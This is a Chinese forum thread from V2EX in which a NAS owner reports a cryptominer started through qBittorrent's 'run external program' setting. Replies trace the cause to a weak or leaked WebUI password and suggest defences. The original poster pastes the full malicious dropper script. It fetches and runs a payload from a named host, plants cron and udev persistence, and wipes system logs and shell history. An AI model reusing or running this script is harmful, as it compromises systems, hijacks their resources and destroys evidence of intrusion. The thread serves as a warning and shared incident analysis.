V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要把任何和邀请码有关的内容发到 NAS 节点。

邀请码相关的内容请使用 /go/in 节点。

如果没有发送到 /go/in,那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动,会导致账号被禁用。
Sanarara
V2EX  ›  NAS

要注意, qBittorrent 自动运行 torrent 传播的挖矿脚本

  •  
  •   Sanarara · 31 天前 · 4892 次点击
    - 在昨天下班回家后,听见 nas 怪吵,看了下探针 CPU50%,检查进程,qbittorrent 进程极为活跃,但是没有正在下载的内容。平时一直用 rss 自动挂 sukebei ,确认过确实没有活跃任务,这就活见鬼了。
    - ssh 中 top 了一下,b3qmud4h 这个进程跑的飞起,怀疑有问题,互联网上搜索一圈,b3qmud4h 为自动生成的字段。
    - kill -9 该进程后,cpu 恢复正常,qb 服务也没出现问题
    - 重启 qbittorrent ,再次出现高 cpu 占用进程,同样为随机字符的任务。
    - 检查 qbittorrent 日志,发现 “运行外部程序。Torrent:“*********”。命令:`sh -c "(curl -skL https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"`”
    - 通过搜索,得知设置→下载→运行外部程序 选项如果打勾的话,是可以通过种子直接运行脚本的
    - 大家务必检查一下这个设置是否开启,我的印象里是没有认为开启过,可能和包或者是 docker 镜像有关
    TeslaLyon
        1
    TeslaLyon  
       31 天前
    villivateur
        2
    villivateur  
       31 天前
    话说 qBittorrent 为什么要写这么危险的功能呢?如果把挖矿脚本换成木马,岂不是一下子倒一大片
    k9982874
        3
    k9982874  
       31 天前 via Android
    官方源的包不会有问题,你的 qb 安装自不明脚本?
    Sanarara
        4
    Sanarara  
    OP
       31 天前
    @k9982874 群晖矿神 5.0.3 的包,已更换 docker
    villivateur
        5
    villivateur  
       31 天前   ❤️ 3
    而且我看了,这个功能的目的是相当于一个种子下载之后的 hook ,“外部程序”指的本机本来就有的程序,所以大概率还是你的 qb 本身已经被入侵了。
    cat
        6
    cat  
       31 天前   ❤️ 26
    @Sanarara 矿神…… 不拿你挖矿对得起这名字吗 doge
    ysc3839
        7
    ysc3839  
       31 天前 via Android
    那个脚本要用户自己去设置里填写的吧?怎么可能自动从种子里获取?感觉是别的地方被入侵了,比如说开启了 WebUI 没设置密码暴露到公网上了。
    iislong
        8
    iislong  
       31 天前 via Android
    我的一切正常
    Sanarara
        9
    Sanarara  
    OP
       31 天前
    #!/bin/sh
    ARCH=$(uname -m)
    FILE=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8)
    if [ ! "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
    (ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 80 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
    if [ "$ARCH" = "x86_64" ]; then
    for i in /tmp $PWD $HOME $EXEC; do
    (curl -sk https://files.synotech.studio/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/1) >/dev/null 2>&1
    (cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
    rm -rf "$i"/"$FILE" >/dev/null 2>&1
    sleep 15
    if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    break
    fi
    done
    elif [ "$ARCH" = "aarch64" ]; then
    for i in /tmp $PWD $HOME $EXEC; do
    (curl -sk https://files.synotech.studio/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/2) >/dev/null 2>&1
    (cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
    rm -rf "$i"/"$FILE" >/dev/null 2>&1
    sleep 15
    if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    break
    fi
    done
    else
    exit 1
    fi
    fi
    (if sudo -n true; then find /etc/cron.d -type f -exec rm -rf {} \; ; elif [ "$(id -u)" -eq 0 ]; then find /etc/cron.d -type f -exec rm -rf {} \; ; fi) >/dev/null 2>&1
    (if sudo -n true; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | sudo tee /etc/cron.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | tee /etc/cron.d/mdadm; fi) >/dev/null 2>&1
    UDEV='SUBSYSTEM=="net", KERNEL!="lo", RUN+="echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | (sudo tee /etc/cron.d/mdadm || tee /etc/cron.d/mdadm)"'
    (if sudo -n true; then echo $UDEV | sudo tee /etc/udev/rules.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo $UDEV | tee /etc/udev/rules.d/mdadm; fi) >/dev/null 2>&1
    (if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
    (rm $HOME/.bash_history) >/dev/null 2>&1
    (history -c) >/dev/null 2>&1
    Sanarara
        10
    Sanarara  
    OP
       31 天前
    @ysc3839 那-----我观望下是不是弱口令
    Sanarara
        11
    Sanarara  
    OP
       31 天前
    @villivateur 原来如此,但是更恐怖了啊
    idclight
        12
    idclight  
       31 天前
    百分百弱口令,毕竟我也扫到过 N 多 8082 默认 admin:adminadmin
    kklove77
        13
    kklove77  
       31 天前
    遇到过同样的问题,进程名叫 SyGlcPtf ,原因是 qb 用的弱密码,长教训了
    huguadao
        14
    huguadao  
       31 天前
    我也正在用同版 qb ,请问到底应该是哪里设置可以规避?看了下,默认情况下:设置→下载→运行外部程序处的俩都没有勾选
    StarsunYzL
        15
    StarsunYzL  
       31 天前
    qBittorrent 有官方 docker ,可以装在群晖上,为啥要用第三方的呢
    ilvsxk
        16
    ilvsxk  
       31 天前
    @cat #6 哈哈哈,说的太对了!
    NG6
        17
    NG6  
       31 天前
    能用官方的尽量用官方的,不要安装来路不明的软件
    Sanarara
        18
    Sanarara  
    OP
       31 天前
    在/volume1/@appstore/qBitttorrent 目录下发现 o2PHN18N 文件
    Leon777
        19
    Leon777  
       31 天前
    我不是矿神
    wwd179
        20
    wwd179  
       31 天前
    你的 qb 被爆破了吧?
    可以用 fail2ban 啥的,搞基于日志的防爆破。
    konakona
        21
    konakona  
       31 天前
    好多年没用过种子下载了……
    will800
        22
    will800  
       31 天前
    @ysc3839 #7 windows 自带的杀毒扫描不出吗?
    vpsvps
        23
    vpsvps  
       31 天前   ❤️ 1
    谢谢提醒!
    已卸载全部群晖上的所有矿神源提供的软件!
    yangzzzzzz
        24
    yangzzzzzz  
       31 天前
    qb 外网端口我都没开
    vpsvps
        25
    vpsvps  
       31 天前
    居然设置后门!
    真服了

    点开已安装套件页面
    进入软件界面
    看到发布者是矿神 XXX 的
    我都把卸载了
    kaedeair
        26
    kaedeair  
       31 天前
    @villivateur #2 什么事情都有两面性,本质上是一个 action 的 hook 。最简单的用法就是缓存盘下完转移到储存盘和转移给 tr 保种
    A3m0n
        27
    A3m0n  
       31 天前
    @villivateur 我是用这个功能来发送下载完成的通知的。
    BrontByte
        28
    BrontByte  
       31 天前
    盲猜用了反代 还开了 qb 的"对本地主机上的客户端跳过身份验证"选项
    huangsijun17
        29
    huangsijun17  
       31 天前
    @villivateur #5 bash 是机器自带的吧,我运行 bash 下一个 sh 下来不就完了?而且 bash 一句话 getshell 多简单呢?
    wsbqdyhm
        30
    wsbqdyhm  
       31 天前
    有没有改默认密码?没有改那 100%是爆破了,其次不要公网映射或者映射为一些常见端口,最后你提到设置那个开关默认是没有打开的
    salmon5
        31
    salmon5  
       31 天前
    不懂问下:qBittorrent 不是一个下载客户端吗?怎么还有弱口令?
    Sanarara
        32
    Sanarara  
    OP
       31 天前 via iPhone
    @wsbqdyhm 非默认,后发现密码泄漏,有人一直在扫,更换域名后安静如鸡
    manshisan
        33
    manshisan  
       31 天前
    @cat 人家无偿给小白提供服务,你还拿他名字开玩笑,就这一堆人觉得你说的对。我是看不懂。
    wsbqdyhm
        34
    wsbqdyhm  
       31 天前 via iPhone
    @vpsvps #25 看了本帖之后 op 的回复,我又装了好几个矿神的,哈哈
    Rorysky
        35
    Rorysky  
       31 天前
    不知道 这个 wget --no-check-certificate https://files.synotech.studio/1 下载的文件是干什么的
    exiahan
        36
    exiahan  
       31 天前 via Android
    @cat 哈哈哈哈牛哇,正在吃饭看到没绷住差点喷米线😂
    CEBBCAT
        37
    CEBBCAT  
       31 天前
    省流:乌龙
    SakuraYuki
        38
    SakuraYuki  
       31 天前
    还是用 tailscale 或者 surge 之类的 vpn 把 nas 包起来安全点
    Greendays
        39
    Greendays  
       31 天前
    qbit 改密码的流程好迷啊
    jqtmviyu
        40
    jqtmviyu  
       31 天前
    加域名白名单或者改端口, 弱密码+暴露默认端口, 早晚被爆破.
    iislong
        41
    iislong  
       31 天前 via Android
    @salmon5 应该是和我一样开了公网访问,不过我开的公网服务不是上两步验证就是套了 cf zero 认证
    tbc0309
        42
    tbc0309  
       31 天前 via iPhone
    @Leon777 在此……
    源都运行四年了,这点屁事还要我来背锅?
    xycost233
        43
    xycost233  
       30 天前
    问一问有没有好用的 homelab 探针
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   963 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 21:13 · PVG 05:13 · LAX 13:13 · JFK 16:13
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.